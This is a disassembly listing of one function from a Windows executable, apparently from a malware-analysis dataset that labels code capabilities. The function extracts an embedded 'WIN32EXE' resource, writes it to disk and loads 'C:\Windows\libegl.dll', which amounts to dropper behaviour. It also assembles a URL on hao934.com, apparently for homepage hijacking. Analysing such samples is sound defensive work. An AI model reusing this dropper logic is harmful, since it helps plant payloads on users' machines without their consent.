Function at 0x406ad0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x56dd3a
mov eax, dword fs:[0]
push eax
sub esp, 0x26c
mov eax, dword [0x5cfff4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x100], ecx
lea eax, [ebp - 0x108]
mov dword [ebp - 0xf8], ecx
push eax
mov dword [ebp - 0x108], 8
mov dword [ebp - 0x104], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push str.WIN32EXE
push 0x95
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x406ea3
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x406ea3
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x406ea3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x406ea3
push 0x5b075c
lea ecx, [ebp - 0xf0]
call fcn.00404c90
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov dword [ebp - 4], 0
push dword [ebp - 0xf0]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov ebx, eax
lea eax, [ebp - 0x10c]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x406e98
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.C:Windowslibegl.dll
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 1
call fcn.00406800
mov byte [ebp - 4], 2
xor ecx, ecx
mov edi, dword [ebp - 0x4c]
mov edx, 2
lea eax, [edi + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040703a
add esp, 4
lea esi, [edi + edi]
cmp dword [ebp - 0x48], 0x10
lea ecx, [ebp - 0x5c]
mov ebx, eax
cmovae ecx, dword [ebp - 0x5c]
push esi
push ebx
push edi
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor eax, eax
push ebx
mov word [esi + ebx], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebx, eax
test ebx, ebx
jne 0x406c42
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x5b07a0
push ebx
call esi
push 0x5b07b0
push ebx
mov dword [ebp - 0xf4], eax
call esi
cmp dword [ebp - 0xf4], 0
mov dword [ebp - 0xfc], eax
jne 0x406c70
push ebx
call edi
push str.a286
lea ecx, [ebp - 0x74]
call fcn.00406800
push str.gameall
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 3
call fcn.00406800
mov esi, eax
push 0x5b07c8
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 4
call fcn.00406800
push eax
mov edx, str.http:__hao934.com_
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xbc]
call fcn.00405a20
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xa4]
call fcn.00406ed0
add esp, 4
push 0x5b0644
mov edx, eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x8c]
call fcn.00405a70
add esp, 4
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 8
push ecx
mov edx, eax
lea ecx, [ebp - 0x44]
call fcn.00405ac0
add esp, 4
lea ecx, [ebp - 0x8c]
call fcn.00406250
lea ecx, [ebp - 0xa4]
call fcn.00406250
lea ecx, [ebp - 0xbc]
call fcn.00406250
lea ecx, [ebp - 0xd4]
call fcn.00406250
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 0xe
call fcn.00406250
push str.VBScriptLKLive
lea ecx, [ebp - 0x2c]
call fcn.00406800
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x34]
mov esi, dword [ebp - 0x1c]
inc eax
push eax
call fcn.0040703a
add esp, 4
lea ecx, [esi + 1]
mov edi, eax
push ecx
call fcn.0040703a
add esp, 4
lea ecx, [ebp - 0x44]
cmp dword [ebp - 0x30], 0x10
mov esi, eax
mov edx, edi
cmovae ecx, dword [ebp - 0x44]
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx], al
lea edx, [edx + 1]
test al, al
jne 0x406d80
cmp dword [ebp - 0x18], 0x10
lea ecx, [ebp - 0x2c]
mov edx, esi
cmovae ecx, dword [ebp - 0x2c]
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx], al
lea edx, [edx + 1]
test al, al
jne 0x406da0
push esi
push edi
call dword [ebp - 0xfc]
test al, al
jne 0x406dc2
push esi
push edi
call dword [ebp - 0xf4]
lea ecx, [ebp - 0x2c]
call fcn.00406250
lea ecx, [ebp - 0x44]
call fcn.00406250
lea ecx, [ebp - 0x74]
call fcn.00406250
lea ecx, [ebp - 0x5c]
call fcn.00406250
mov ebx, dword [ebp - 0x100]
mov dword [ebp - 4], 0
jmp 0x406e1d
mov ecx, ebx
call fcn.004193c6
push 0
call fcn.00419f7d
push 0xc
call fcn.00407003
add esp, 8
mov dword [ebp - 0xf8], eax
mov byte [ebp - 4], 0x11
test eax, eax
je 0x406e4e
mov ecx, eax
call fcn.0041ac4b
mov esi, eax
jmp 0x406e50
xor esi, esi
push str.P2PSearcher
mov ecx, ebx
mov byte [ebp - 4], 0
call fcn.0041b6fc
push ecx
lea ecx, [ebp - 0x278]
call fcn.00402150
lea eax, [ebp - 0x278]
mov byte [ebp - 4], 0x12
mov ecx, eax
mov dword [ebx + 0x20], eax
call fcn.00407b66
test esi, esi
je 0x406e8d
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax + 4]
lea ecx, [ebp - 0x278]
call fcn.00402320
lea ecx, [ebp - 0xf0]
call fcn.00401c60
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0054bbdc
mov esp, ebp
pop ebp
ret